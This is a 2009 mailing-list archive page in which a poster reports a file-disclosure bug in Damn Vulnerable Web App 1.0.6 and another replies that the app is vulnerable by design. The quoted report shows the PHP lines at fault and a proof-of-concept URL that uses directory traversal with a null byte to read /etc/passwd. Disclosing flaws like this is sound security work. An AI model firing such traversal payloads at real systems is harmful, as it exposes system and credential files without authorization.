[Date Prev][Date Next][Thread Prev][Thread Next][Date Index][Thread Index]
Re: [Full-disclosure] File Disclosure in DAMN VULNERABLE WEB APPversion 1.0.6
- To: "WHK" <www.kernel32@xxxxxxxxx>, full-disclosure-bounces@xxxxxxxxxxxxxxxxx, full-disclosure@xxxxxxxxxxxxxxxxx
- Subject: Re: [Full-disclosure] File Disclosure in DAMN VULNERABLE WEB APPversion 1.0.6
- From: infolookup@xxxxxxxxx
- Date: Tue, 29 Dec 2009 19:25:34 +0000
The app is meant to be vulnerable so this is not a disclosure but a feature.
------Original Message------
From: WHK
Sender: full-disclosure-bounces@xxxxxxxxxxxxxxxxx
To: full-disclosure@xxxxxxxxxxxxxxxxx
Subject: [Full-disclosure] File Disclosure in DAMN VULNERABLE WEB APPversion
1.0.6
Sent: Dec 29, 2009 2:19 PM
The problem is here:
vulnerabilities/view_source.php Line 11 and 12:
--------------------------------
$id = $_GET[ 'id' ];
$security = $_GET[ 'security' ];
--------------------------------
vulnerabilities/view_source.php Line 41:
--------------------------------
$source = @file_get_contents(
DVWA_WEB_PAGE_TO_ROOT."vulnerabilities/{$id}/source/{$security}.php" );
--------------------------------
PoC:
http://127.0.0.1/dvwa/vulnerabilities/view_source.php?id=fi&security=../../../../../../etc/passwd%00
Demo:
http://www.webcomparte.com/archivos_publicos/imagenes/bugs/dvwa.png
Source:
http://foro.elhacker.net/nivel_web/para_que_practiques-t278540.0.html;msg1370620#msg1370620
_______________________________________________
Full-Disclosure - We believe in it.
Charter: http://lists.grok.org.uk/full-disclosure-charter.html
Hosted and sponsored by Secunia - http://secunia.com/
www.twitter.com/infolookup
_______________________________________________
Full-Disclosure - We believe in it.
Charter: http://lists.grok.org.uk/full-disclosure-charter.html
Hosted and sponsored by Secunia - http://secunia.com/